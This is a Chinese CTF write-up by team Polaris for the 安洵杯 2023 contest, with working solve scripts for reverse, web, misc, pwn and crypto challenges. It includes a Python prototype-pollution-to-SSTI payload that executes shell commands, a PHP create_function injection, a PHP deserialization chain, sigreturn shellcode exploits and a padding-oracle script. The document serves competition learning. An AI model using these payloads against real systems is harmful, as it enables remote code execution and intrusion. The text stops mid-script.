安洵杯 2023 Writeup Polaris战队

admin 2024年2月7日23:38:52评论8 views字数 30039阅读100分7秒阅读模式

RE

PART/1

   你见过蓝色的小鲸鱼   

一个比较明显的BlowFish加密,使用用户名作为密钥,对应核心函数部分如下图:

安洵杯 2023 Writeup Polaris战队

对应给输入密码加密在sub_451F08,简单看看就可以发现是对应的Blowfish加密逻辑,其实拿FindCrypto也可以识别出该算法

直接写一个脚本即可:

from Crypto.Cipher import Blowfishkey = b"UzBtZTBuZV9EMGcz"blowfish = Blowfish.new(key, Blowfish.MODE_ECB)flag = b'x11xa5x1fx04x95x50xe2x50x8fx17xe1x6cxf1x63x2bx47'p = blowfish.decrypt(flag)for i in range(len(p)):    print(chr(p[i]), end = "")#UzBtZTBuZV9EMGczQHRoZWJsdWVmMXNo

WEB

PART/1

   swaggerdocs   

app.update中疑似有原型链污染。

def update(src, dst):    if hasattr(dst, '__getitem__'):        for key in src:            if isinstance(src[key], dict):                 if key in dst and isinstance(src[key], dict):                    update(src[key], dst[key])                 else:                     dst[key] = src[key]            else:                dst[key] = src[key]    else:        for key, value in src.items() :            if hasattr(dst,key) and isinstance(value, dict):                update(value,getattr(dst, key))            else:                setattr(dst, key, value)
def update(src, dst):    if hasattr(dst, '__getitem__'):        for key in src:            if isinstance(src[key], dict):                 if key in dst and isinstance(src[key], dict):                    update(src[key], dst[key])                 else:                     dst[key] = src[key]            else:                dst[key] = src[key]    else:        for key, value in src.items() :            if hasattr(dst,key) and isinstance(value, dict):                update(value,getattr(dst, key))            else:                setattr(dst, key, value)

和Python原型链污染变体

(https://tttang.com/archive/1876/#toc__7)

脚本

def merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)

这两段代码都是用于合并或更新两个字典的函数

但是它们在实现上有一些差异。

让我们逐段解读它们:

第一段代码 (update 函数)

def update(src, dst):if hasattr(dst, '__getitem__'):for key in src:if isinstance(src[key], dict): if key in dst and isinstance(src[key], dict):     update(src[key], dst[key]) else:     dst[key] = src[key]else: dst[key] = src[key]else:for key, value in src.items():if hasattr(dst, key) and isinstance(value, dict): update(value, getattr(dst, key))else: setattr(dst, key, value)

解读:

  1. update 函数使用了递归的方式,遍历源字典 src 中的键值对,尝试将其合并到目标字典 dst 中。

  2. 如果 dst 支持通过 __getitem__ 方法访问,那么它会首先尝试使用这种方式。这通常意味着 dst 是一个字典或支持类似字典的操作。

  3.  对于每个键值对,如果值是字典,且键已经存在于 dst 中,那么递归地调用 update 函数。否则,直接将值赋给 dst[key]。

  4.  如果值不是字典,直接将其赋给 dst[key]。

  5. 如果 dst 不支持通过 __getitem__ 方法访问,就会尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。

第二段代码 (merge 函数)

def merge(src, dst): for k, v in src.items():     if hasattr(dst, '__getitem__'):         if dst.get(k) and type(v) == dict:             merge(v, dst.get(k))         else:             dst[k] = v     elif hasattr(dst, k) and type(v) == dict:         merge(v, getattr(dst, k))     else:         setattr(dst, k, v)

解读:

  1. merge 函数同样使用了递归的方式,遍历源字典 src 中的键值对,尝试将其合并到目标字典 dst 中。

  2. 如果 dst 支持通过 __getitem__ 方法访问,那么它会首先尝试使用这种方式。这同样意味着 dst 是一个字典或支持类似字典的操作。

  3. 对于每个键值对,如果键在 dst 中存在,且值是字典,那么递归地调用 merge 函数。否则,直接将值赋给 dst[k]。

  4. 如果 dst 不支持通过 __getitem__ 方法访问,就会尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。

比较:

  1. update 和 merge 函数的基本思想相似,都是递归遍历字典,合并到目标字典中。

  2. update 在处理嵌套字典时,会检查键是否存在于目标字典中,并且目标字典对应键的值是否是字典。这使得在源字典中有一部分结构在目标字典中不存在时,可以直接添加,而不需要整体替换。

  3. merge 在处理嵌套字典时,只检查键是否存在,而不检查对应值的类型。这意味着如果目标字典对应键的值不是字典,会直接用源字典的值替换,而不是递归合并。

  4. update 对于 dst 不支持通过 __getitem__ 方法访问的情况,尝试使用 __setattr__ 方法,将源字典中的键值对逐一设置到目标对象上。

  5. merge 在这种情况下没有对应的处理,它仅支持字典的合并。

对于本题而言应该不影响。

app.api中有render_template_string

是本题中除了api.py文件中下载之外的唯一比较有实际威胁的点,要想方设法将污染与

(render_template_string或api.py中的任意文件下载)

联系起来。

考虑到本题的app.api中的

render_template_string(data.text)

可以想到污染data的text字段

参考Python原型链污染变体(prototype-pollution-in-python) - 跳跳糖 (tttang.com)

https://tttang.com/archive/1876/#toc__7

我们可以对已加载的模块的class进行污染

对于本题而言就是对

data = requests.get("http://127.0.0.1:8899/v2/users?file=" + request.args.get('file') + '&id=' + id)

的字段进行污染。

注意此处直接静态跟进get()函数是很难看出其返回值是哪个class的对象的,根据经验或者动态调试不难知道是requests.Response。

#test.pyimport test_1class cls:    def __init__(self):        passdef merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)instance = cls()payload = {    "__init__" : {        "__globals__" : {            "test_1" : {                "secret_var" : 514,                "target_class" : {                    "secret_class_var" : "Poluuuuuuted ~"                }            }        }    }}print(test_1.secret_var)#secretprint(test_1.target_class.secret_class_var)#114merge(payload, instance)print(test_1.secret_var)#514print(test_1.target_class.secret_class_var)#Poluuuuuuted ~

修改为适用于本题情况的脚本:

import requestsclass cls:    def __init__(self):        passdef merge(src, dst):    # Recursive merge function    for k, v in src.items():        if hasattr(dst, '__getitem__'):            if dst.get(k) and type(v) == dict:                merge(v, dst.get(k))            else:                dst[k] = v        elif hasattr(dst, k) and type(v) == dict:            merge(v, getattr(dst, k))        else:            setattr(dst, k, v)instance = cls()payload = {    "__init__" : {        "__globals__" : {            "requests" : {                "secret_var" : 514,                "Response" : {                    "secret_class_var" : "Poluuuuuuted ~"                }            }        }    }}# print(requests.secret_var)#secret# print(requests.Response.secret_class_var)#114merge(payload, instance)print(requests.secret_var)# print(requests.Response.secret_var)#514print(requests.Response.secret_class_var)#Poluuuuuuted ~

经测是可以成功污染的,接下来注册、登录、update

POST http://127.0.0.1:5000/api-base/v0/update HTTP/1.1Host: 127.0.0.1:5000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.BOuXjz62Xx0na6MxVGDS3O0SE1mKJ-cmf_g0tT4RsfI;Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 273{"username":"ken","password":"ken",    "__init__" : {        "__globals__" : {            "requests" : {                "secret_var" : 514,                "Response" : {                    "text" : "{{config}}"                }            }        }    }}

再发包触发

POST /api-base/v0/search?file=D%3A%5CWW%5Cbuuoj%5C%5B%E5%AE%89%E6%B4%B5%E6%9D%AF%202023%5Dweb5%5Cweb5%5Crun.sh&type=text HTTP/1.1Host: 127.0.0.1:5000User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: token=eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.BOuXjz62Xx0na6MxVGDS3O0SE1mKJ-cmf_g0tT4RsfI;Upgrade-Insecure-Requests: 1Sec-Fetch-Dest: documentSec-Fetch-Mode: navigateSec-Fetch-Site: noneSec-Fetch-User: ?1Content-Type: application/jsonContent-Length: 35{"username":"ken","password":"ken"}

动态调试可以看到污染成功与SSTI成功。

安洵杯 2023 Writeup Polaris战队
安洵杯 2023 Writeup Polaris战队

类似的可以在靶机上进行测试,通了之后参考(http://www.tuzk1.top/posts/5126.html)文章,找一个执行命令的payload即可。

POST /api-base/v0/update HTTP/1.1Host: 47.108.206.43:45457User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/111.0Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2Accept-Encoding: gzip, deflateConnection: closeCookie: token=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJ1c2VybmFtZSI6ImtlbiIsInBhc3N3b3JkIjoia2VuIn0.orNDEf3BnY5A0RF3ViIK6Jjlo8UDyAAMmkrXbfzbR60; Path=/Upgrade-Insecure-Requests: 1If-Modified-Since: Sat, 11 Nov 2023 09:48:49 GMTIf-None-Match: "1699696129.0-4605-1006306968"Content-Type: application/jsonContent-Length: 468{"username":"ken","password":"ken",    "__init__" : {        "__globals__" : {            "requests" : {                "secret_var" : 514,                "Response" : {                    "text" : "{% for c in [].__class__.__base__.__subclasses__() %}{% if c.__name__=='catch_warnings' %}{{ c.__init__.__globals__['__builtins__'].eval("__import__('os').popen('ls /').read()") }}{% endif %}{% endfor %}"                }            }        }    }}
安洵杯 2023 Writeup Polaris战队
安洵杯 2023 Writeup Polaris战队

flag文件在app目录下

PART/2

   what's my name   

<?phphighlight_file(__file__);$d0g3=$_GET['d0g3'];$name=$_GET['name'];if(preg_match('/^(?:.{5})*include/',$d0g3)){    $sorter='strnatcasecmp';    $miao = create_function('$a,$b', 'return "ln($a) + ln($b) = " . log($a * $b);');    echo base64_encode($miao)."<br/>";    echo substr($miao,-2).'<br/>';    echo strlen($d0g3).'<br/>';    var_dump(strlen($d0g3)==substr($miao, -2));    echo $miao.'<br/>';    var_dump($miao===$name);    var_dump($miao);    var_dump($name);    if(strlen($d0g3)==substr($miao, -2)&&$name===$miao){        $sort_function = ' return 1 * ' . $sorter . '($a["' . $d0g3 . '"], $b["' . $d0g3 . '"]);';        @$miao=create_function('$a, $b', $sort_function);    }    else{        echo('Is That My Name?');    }}else{    echo("YOU Do Not Know What is My Name!");}?>

添加调试代码:

 var_dump(substr($miao, -2));    echo "</br>";    var_dump(strlen($d0g3));    echo "</br>";    var_dump($miao);    echo "</br>";    var_dump($a);    echo "</br>";    var_dump($b);    echo "</br>";    var_dump("$name:" . $name);

网上可以找到类似payload:

安洵杯 2023 Writeup Polaris战队

再修改一下满足题目的正则

安洵杯 2023 Writeup Polaris战队

测试出payload匹配条件为25,因为name这里有不可见字符,base64加密后再URL编码传输

安洵杯 2023 Writeup Polaris战队

手发包一直不行,写个脚本:

import requestsurl = "http://47.108.206.43:43469?d0g3=include%27%22]);}phpinfo();/*&name=%00%6c%61%6d%62%64%61%5f%32%35"for i in range(1,32):    resp = requests.get(url)    print(resp.text)    if "flag" in resp.text:        break
安洵杯 2023 Writeup Polaris战队

PART/3

   easy_unserialize   

逻辑比较简单,md5那里弱比较用脚本跑一个

安洵杯 2023 Writeup Polaris战队
<?phperror_reporting(0);class Good{    public $g1;    public $gg2;    public function __isset($arg1)    {        if(!preg_match("/a-zA-Z0-9~-=!^+()/",$this->gg2))        {            if ($this->gg2)            {                $this->g1->g1=666;            }        }else{            die("No");        }    }}class Luck{    public $l1;    public $ll2;    public $md5;    public $lll3;    public function __toString()    {        $new = $this->l1;        return $new();    }    public function __get($arg1)    {        $this->ll2->ll2('b2');    }    public function __unset($arg1)    {        if(md5(md5($this->md5)) == 666)        {            if(empty($this->lll3->lll3)){                echo "There is noting";            }        }    }}class To{    public $t1;    public $tt2;    public $arg1;    public function  __call($arg1,$arg2)    {        if(urldecode($this->arg1)===base64_decode($this->arg1))        {            echo $this->t1;        }    }    public function __set($arg1,$arg2)    {        if($this->tt2->tt2)        {            echo "what are you doing?";        }    }}class You{    public $y1;    public function __wakeup()    {        unset($this->y1->y1);    }}class Flag{    public function __invoke()    {        echo "May be you can get what you want here";        array_walk($this, function ($one, $two) {            $three = new $two($one);            foreach($three as $tmp){                echo ($tmp.'<br>');            }        });    }}$you = new You();$you->y1 = new Luck();$you->y1->md5 = "1JTNoxS0803KVPSBHYg2";$you->y1->lll3 = new Good();$you->y1->lll3->gg2 = new Luck();$you->y1->lll3->gg2->l1 = new Flag();//$you->y1->lll3->gg2->l1->one1 = "/*f*";$you->y1->lll3->gg2->l1->SplFileObject = "/FfffLlllLaAaaggGgGg";$you->y1->lll3->gg2->l1->one = "glob:///*";$data = serialize($you);echo urlencode($data);unserialize($data);
$one和$two就是传入$you->y1->lll3->gg2->l1的前和后控制即可

先遍历得到flag名字:

安洵杯 2023 Writeup Polaris战队

再利用上面的脚本拿到flag即可

安洵杯 2023 Writeup Polaris战队

MISC

PART/1

   dacong Windows   

内存取证,windows10的用vol3解析

通过题意看注册表  windows.registry.printkey

得到

d@@Coong_LiiKEE_F0r3NsIc

但并不是flag,后来发现有很多dacong的wav,dump下来发现可以用SSTV解析,在39.wav得到flag1

安洵杯 2023 Writeup Polaris战队

之后flag2是在secret.rar得到的,尝试空白格隐写

并不是,考虑snow隐写得到flag2

flag2:_tHE_Dddd

最后一段是在桌面发现有一个flag3.txt,dump下来发现是一个类似base64的东西,直接解析不行,又考虑rabbit,走了很多弯路,后来发现之前那个注册表得到的东西没用,利用aes解密即可得到flag3

dAc0Ng_SIst3Rs????}

PART/2

   Nahida   

附件未知类型,trid也无法解析。

尝试利用Puzzsolver,得到一个jpg

安洵杯 2023 Writeup Polaris战队

最后这一段复制出来magic一下发现是utf-8编码

安洵杯 2023 Writeup Polaris战队

涉及神之眼,应该是宙斯之眼,key是Nahida

得到flag

安洵杯 2023 Writeup Polaris战队

PWN

PART/1

   side_channel   

开了沙盒

安洵杯 2023 Writeup Polaris战队

白名单只允许open,read和sigreturn还有mprotect,首先用sigreturn来调用mprotect在0x404060处进行 更改全选,允许执行shellcode。接着open和read将其读到0x404060,然后使用测信道爆破flag。

EXP:

from pwn import *from ctypes import *context(arch='amd64', os='linux')# p = remote("47.108.165.60",30333)s = "abcdefghijl01234567898-"list = [ord(x) for x in s]flag = ""index = 0leave_ret = 0x4014D4ret1 = 0x4013F7rax_15 = 0x40118fsyscall_addr = 0x40118ashellcode = ''shellcode += shellcraft.open('./flag')shellcode += shellcraft.read(3, 0x404060, 0x50)shellcode2 = '''push 0x404060pop raxmov bl, byte ptr [rax+{}]cmp bl, {}jz $-0x3'''pwn2shellcode3 = shellcraft.exit(0)shellcode = shellcode + shellcode2 + shellcode3while (1):for i in range(len(s)):p = remote("47.108.206.43",22271)frame = SigreturnFrame()frame.rax = 10frame.rdi = 0x404000frame.rsi = 0x1000frame.rdx = 7frame.rip = syscall_addrframe.rsp = 0x404168payload = b"./flagx00x00" + p64(0x401193) + p64(syscall_addr) +bytes(frame) + p64(0x404178) + asm(shellcode.format(index, list[i]))p.sendline(payload)payload = b'a' * (0x2a) + p64(0x404060) + p64(leave_ret)p.sendlineafter("Do u know what is SUID?",payload)sleep(1)c = p.connected()print("c",c)if c == True:flag += chr(list[i])print("flag:", flag)index = index + 1breakif c == 0:passp.close()

PART/2

   Seccomp   

安洵杯 2023 Writeup Polaris战队

题目程序和pwn1基本一致,除了沙箱开了orw,调整rsp直接用三次sigreturn来进行orw即可。

EXP:

from pwn import *from ctypes import *context(log_level = 'debug', arch = 'amd64', os = 'linux')#p= process('./chall')p = remote("47.108.206.43",49594)leave_ret = 0x4014D4ret1 = 0x4013F7rax_15 = 0x40118fbinsh_addr = 0x404060syscall_addr = 0x40118amain=0x40149fframe = SigreturnFrame()frame.rax = 2frame.rdi = 0x404060frame.rsi = 0frame.rdx = 0frame.rip = syscall_addrframe.rsp = 0x404168a = SigreturnFrame()a.rax = 0a.rdi = 3a.rsi = 0x404060a.rdx = 0x100a.rip = syscall_addra.rsp = 0x404270c= SigreturnFrame()c.rax = 1c.rdi = 1c.rsi = 0x404060c.rdx = 0x100c.rip = syscall_addrc.rsp = 0x404270payload = b"./flagx00x00" + p64(0x401193) + p64(syscall_addr) + bytes(frame) +p64(0x401193) + p64(syscall_addr) + bytes(a) + p64(0x401193) + p64(syscall_addr) +bytes(c)p.sendline(payload)payload = b'a'*(0x2a) + p64(0x404060) + p64(leave_ret)p.sendline(payload)p.interactive()

Crypto

PART/1

   010101   

连接靶机,最前面爆破一下四位字符即可通过

然后得到n,fake_p,c

其中fake_p对半分两部分

前半部分为p的前半部分

其中有个1改成了0

后半部分为p的后半部分

其中有个0改成了1

对此我们分别遍历前部分的所有0和所有1,进行相关修改

然后通过判断n % int(pp,2) == 0来得到最终p

exp:

import stringfrom hashlib import *from Crypto.Util.number import *def decryp(c0,c_sha256):    a = string.digits + string.ascii_letters    for i in a:        for j in a:            for k in a:                for l in a:                    c = i + j + k + l + c0                    if sha256(c.encode()).hexdigest() == c_sha256:                        return i + j + k + lc0 = 'Lv6AFenn56SZDCSx'c_sha256 = '83880b281300826916b4f4f69805b73b3857352a5310c76ddc9409b703a0c881'print(decryp())n = 905523502339993333347732184921515832724615432681576007117446463395202140406186455819530651614069950404042075810601284066931274385535805209551762747609710129397195498419968198264586450842703195713754979387687953072058351322587525343522844624682993335370804642773724643530765318313024375180717264856528859508407123752526511310582180218453798196174711313851827635402704747858853435896239778699882657450989068057812989594054428363851397496601943243279632712324146500308049672479691658555138662186023591295268811674086339075274569097409210759123902394263223688450680408635530782521256976903328828164340429982860113376939770724578082876344753290350343266896705294151268962513482425904197421191472457273426922236939791865513484769259495196493931485556604427038218601247547592658171510787978997032556028110709922802578235349838753703119717186450593733557822283883524757331256681827388497931023411423852155372196186154739783111702393646179284051800522296977182762660233575725266589131648359807548808090825735581316390867813314867323211845170988401019503976880130375254200181262678212582232977427692276533590080989210872268135701196903773727277426454750281175187163772245342989410626986346534537825442077209091327709977583138765091062180825677p = 0b11101010011110100000101101101011001101010110101111110010110001010111110100001001111101101010100011000110100011101100011111000001011000001110100000011010110010101001011101101000011101110101101110100011101011101101001110111111111101010010011111000000111000111100010011010111000101100100100110000011001000011110001101100010011011010000101000110100101011001100100110010010000110101111011001100110101111010100011001011101101001110011111001010111110011000100010110101010101101100101000010101110100010101100011100111000111110001000110000000001100000101001101011110101000010010010001110101100011011011010010011101000000000100101110000011110110100000011110110100100010111101010011001001110110110110010111101011010111110110010110001001010101001111001100000100111010000010111101110011011001001101101100111110001101111011110101101010000011000000011110010011011100011010101001111001101010010000011001010010011101010111011000100110001010011101000001001110111101010101111011100001010011001100100100101110101110100011000000001001010010101001100010110010000101110010101011101011101100000010001011100000111111111110111101010000000101100010100101111101000100001111111111011010000111001101001000111001111101100010111011101010110011001111001111000011111110011100001010000111101000011101110110001000000011111011100110011011000000000111111000111101100100100111110010101100010000110111010001100011011110101000110001001001010110001001101111110011110111000010110011100101111100100111100101100100100010011000110101101000101110101111010101100011110111110100111111101100110001001101010011000100000100001010011001010111101000111000001010000000011011001000000110010111000110110001010011010000010011110111110100001110010111001001000110000000001001100001001101101011011000110101011001101011011000111110101111001001101101001111010000011101100110011111000111010011001010011000001001100000110010010110000111101100000000100111000110110000111000100011101011111001110111110011110010101111101100011000001000010010000000000100000100101101101000101101011111110111111010010100000011101111101c = 745587981558225199779489472864521662605397077674696349893497975327247905263369880327575985631572831899756350304887416414038545421832041176445362604930405797786831534169573912357184586688381529947069894857394509966579487121687661989752586899589455464462247995122188759493123627350242205021208113896131648181542073741223251225981580414189428863505396386101177241484805790071413403051193522590522557315446676776773858208551001768656161594955533751022887153194457453335210088779951291652805254479165518510714128439772816791979498478564380332257338701462366597120383711831284104003001273549385445690481486475874561227737165660824408991697026216746228598823418652728049696520592060323073787932729563753905520086295756708974150517761661468789726318692941781525048612485155532675999051139338492332634069852069069184674033099759660245935752754851458110388376971860114732860095273775636908460452407012691042493223373443910140561227356789557793267636092022090489263078677697189174531544530409081828426516551442982714701036531481341724507410218935391836442694941824918582994408637911017294679056695122193964113408717500435520333846839935134288857521841024168440750127426538558553373838243771677148606150313490377010779696634859123541310387963211p = bin(p)[2:]p1 = p[:len(p)//2]p2 = p[len(p)//2:]for index1,pp1 in enumerate(p1):    for index2,pp2 in enumerate(p1):        if pp1 == '0' and pp2 == '1':            pp = p1[:index1] + '1' + p1[index1 + 1:] + p2[:index2] + '0' + p2[index2 + 1:]            if n % int(pp,2) == 0:                print('p = ',int(pp,2))                break        else:            breakp = 29599945799628278186746519825660916892621604028342546684212831707457754149813997048627283869161395573517111995471698110263759639581097779672468005532752056259520141039004391544778533174325052307547422146102736712978848485303251548280160809658876443806395968821087788281581274148422312646004992834257231028242183102339557736342343121551254937099490881320412077447851274340792312400819533713742956700153444795490779429444988650575339894387473166267318490499234341683969801838214865898854524961988985591845366022896297868397976747036125473474374530996038267588310192441640022227964346892098150361054127070862383122089853q = n // pd = inverse(65537,(p-1)*(q-1))print(long_to_bytes(pow(c,d,n)))# D0g3{sYuWzkFk12A1gcWxG9pymFcjJL7CqN4Cq8PAIACObJ}

PART/2

   POA   

可以知道是Padding Oracle Attack并且是比较简单的,明文填充长度正好为16,所以也只有1块,也能知道flag是比较短的

接下来通过修改iv使解密出来的数据符合arrest的判断,从低位到高位依次爆破,以此得到所有AES.decry()的中间值,最后用这个中间值与iv异或即可得到最终flag

exp:

from Crypto.Util.number import *from pwn import *from tqdm import *from hashlib import sha256from itertools import productimport stringimport binasciicontext.log_level = 'debug'r = remote('124.71.177.14', 10010)def proof_of_work():    r.recvuntil(b'SHA256(XXXX + ')    tail = r.recvuntil(b'):', drop=True).decode()    s256 = r.recvline().strip().decode()    print(tail, s256)    table = string.digits + string.ascii_letters    for i in table:        for j in table:            for k in table:                for m in table:                    temp1 = i+j+k+m                    if(sha256((temp1+tail).encode()).hexdigest() == s256):                        print(temp1)                        r.sendline(temp1.encode())                        returnproof_of_work()r.recvuntil(b"options:")r.recvuntil(b'2. decrypt the flag')r.sendline(b'1')r.recvuntil(b'This is your flag: ')c = binascii.unhexlify(r.recvline().decode().strip())print(c)blocks = [c[i*16:i*16+16] for i in range(len(c)//16)]print(blocks)if(1):    message = [0 for i in range(16)]    change_block = [0 for i in range(16)]    dec_list = [0 for i in range(16)]    block = blocks    for j in trange(16):            for i in trange(256):            change_byte = long_to_bytes(i)            temp = block[0][:15-j] + long_to_bytes(i)            for k in range(15-j+1,16):                temp += long_to_bytes(change_block[k])            msg = temp + block[1]            r.sendline(b'2')            r.recvline()            msg = hex(bytes_to_long(msg))[2:]            r.sendline(msg)            print(msg)            res = r.recvline()            if(b"False" not in res):                if(j < 2):                    if(i != block[1][-j-1]):                        dec_list[15-j] = i ^ (j+1)                        message[15-j] = (dec_list[15-j] ^ block[1][-j-1])                        for k in range(j+1):                            change_block[15-k] = dec_list[15-k] ^ (j+2)                        break                else:                    dec_list[15-j] = i ^ (j+1)                    message[15-j] = (dec_list[15-j] ^ block[1][-j-1])                    for k in range(j+1):                        change_block[15-k] = dec_list[15-k] ^ (j+2)                    break        print(message)

PART/3

   rabin   

安洵杯 2023 Writeup Polaris战队
安洵杯 2023 Writeup Polaris战队

第一种情况满足的话x要等于2

但是这种极端的情况概率较小

第二种情况概率更大,这样的话e1只能是2

所以:

安洵杯 2023 Writeup Polaris战队

试几个值,发现只有x = 4,e2 = 5才能满足e2是素数

这样的话r也就能知道了,接下来求p,q

安洵杯 2023 Writeup Polaris战队

对这两个解方程即可得到p,q

然后e1 = 2与phi不互素

使用有限域开方得到flag1

使用常规rsa解密得到flag2

得p,q,r:

from Crypto.Util.number import *from sympy import Symbol, Eq, solven = 305742085102073958685058774990374612856503657611159209468741748564654591176180299818778135460948807176614281796016904753313757927457094861196369069821421681665875176139845644195736238144691839008758614457979812997005126606399842320648487994406393728514493129219688752202978501994811535834779889459729683428077498441713132964635907469366512175886337946124631196824508247375645971308484279007920881639616776491331812849657775358960227848680733861313065565269244274482334952541032707333167429562469558762781469669359057084779217532331399410333624558772093729396962312936037020992117478202860898927073068360026814644581294222733341428537874383052653054496502673372786144676806905626251642090622209277799682962538245425774337944285158783294880516595307576719556933669812074808919685419881388267486868941401975800053647291641426673593791774634377598637815942343627245274057532320854646240153245893536480745586533270387549779636700040935751519181245119278044454115223974366280075995685049945977835434961621019ip = 80275679918090105134294823865673211657060049627413874971428297415355157707252877991145232186659935067961745973100698632943949790304190096567884607037119257848837354982500048978070619820510408650386626542338056277335180497955588848138448991963800265073331348097617541306117998857780109771194563339021595188562iq = 91430270065720942392278749444269989843094838912787188266496611817766528132774187319335115624057615900976202412507879118712912101862728738204907877396022887953429108729897171677408597080700062032905675017013140349657979587207083820584906055634857776106802178757131724480934751871117394549988315719808677297400c1 = 27982926262483311148784661440434049509041271145373939684263123722309350890886129800416935949757799004078048732281935770255739076672223113235604245680214981770721357810264502828783436566049916012826991722307971435988653591370445652627932863934280322586450541943726361669705223005256707033393323681199742226865639061796493744221386650671921408599281675072195109604944995246990117259752921959078570716019348911611821807743542202606017861680093899453962535751057029803212313708486252499961531916769339026243456254415795474566725045397580987945276292940425615563426872706612654673760957132954706561315315926583847756728581334589763622690426645925379033552965887091774261328484101677385760510308565939450969280431514193153901465147874994288888863961626533437546523090704677258271361008899424058968841403657808839941136606557821902221756903088734659178298942185013814206583151273573533540756898457572685280130826705824899847574123392575025182545331871707478881582060832153045557952057641871852784168481101647c2 = 161619014853290061321220693856242384241899565606310997462914314289208211523608827698222734190386889612098570760765052452215805711014546122099647560430788381292730765852839847593053599250289125651012417026034998933486356540308165710913202176920168248765753912975464775516099366852853130484143941438754410599163284892652060800647319146257668079858962426955881454668916171211181142453679621166656675384626603665740562005722087726838877971126595828345860415781411146330129891129797182526922825440860137352029911523070206447988669663751215339049795213569586767141039747546364893768334626213397240105328357731197925663794385770706516043309955122745946633182399168534133436912290389494270925639788309351783493083085094045092781888997140679841389857851588928742292158429434570541383701331355804702559218884246423448924119442796513423570240629502315241227996438176424546368309332048747610392861954126660466095971227213870875955019656804172566974654412258429352773642042554134725696296293760333163865827998422748r = 2x = 4e1 = 2e2 = 5while True:    r = r * x    if r.bit_length() > 1024 and isPrime(r - 1):        r = r - 1        breakprint('r = ',r)pq = n // rp = Symbol('p')q = Symbol('q')equation1 = Eq(ip * p + iq * q - pq - 1, 0)equation2 = Eq(p * q - pq, 0)solution = solve((equation1, equation2), (p, q))for p, q in solution:    if pq % p == 0:        p = int(p)        q = int(q)        breakprint("p = ", p)print("q = ", q)

EXP:

from gmpy2 import *from Crypto.Util.number import *r =  10407932194664399081925240327364085538615262247266704805319112350403608059673360298012239441732324184842421613954281007791383566248323464908139906605677320762924129509389220345773183349661583550472959420547689811211693677147548478866962501384438260291732348885311160828538416585028255604666224831890918801847068222203140521026698435488732958028878050869736186900714720710555703168729087p =  178520299777167355369001808183687474532391330798911389431934562812702394723190891978648802997994069026093665507318682147460274981942087427438503753783091239311103281934259139483832836604291015047350582799369178702643309450679766735149462002249124815188830963192364126015176975256021362433651741247906217519399q =  164551998561436347842088090443126081631121022784544727709076714132248059140399712877943757666385071645084549890402126199883441046602819598814176774376636763336557105349428193223349284162139919481842771083929707555042826741227483137801069548163363509926617185258104272508770524149975238887754018243824453471763c1 = 27982926262483311148784661440434049509041271145373939684263123722309350890886129800416935949757799004078048732281935770255739076672223113235604245680214981770721357810264502828783436566049916012826991722307971435988653591370445652627932863934280322586450541943726361669705223005256707033393323681199742226865639061796493744221386650671921408599281675072195109604944995246990117259752921959078570716019348911611821807743542202606017861680093899453962535751057029803212313708486252499961531916769339026243456254415795474566725045397580987945276292940425615563426872706612654673760957132954706561315315926583847756728581334589763622690426645925379033552965887091774261328484101677385760510308565939450969280431514193153901465147874994288888863961626533437546523090704677258271361008899424058968841403657808839941136606557821902221756903088734659178298942185013814206583151273573533540756898457572685280130826705824899847574123392575025182545331871707478881582060832153045557952057641871852784168481101647c2 = 161619014853290061321220693856242384241899565606310997462914314289208211523608827698222734190386889612098570760765052452215805711014546122099647560430788381292730765852839847593053599250289125651012417026034998933486356540308165710913202176920168248765753912975464775516099366852853130484143941438754410599163284892652060800647319146257668079858962426955881454668916171211181142453679621166656675384626603665740562005722087726838877971126595828345860415781411146330129891129797182526922825440860137352029911523070206447988669663751215339049795213569586767141039747546364893768334626213397240105328357731197925663794385770706516043309955122745946633182399168534133436912290389494270925639788309351783493083085094045092781888997140679841389857851588928742292158429434570541383701331355804702559218884246423448924119442796513423570240629502315241227996438176424546368309332048747610392861954126660466095971227213870875955019656804172566974654412258429352773642042554134725696296293760333163865827998422748n = 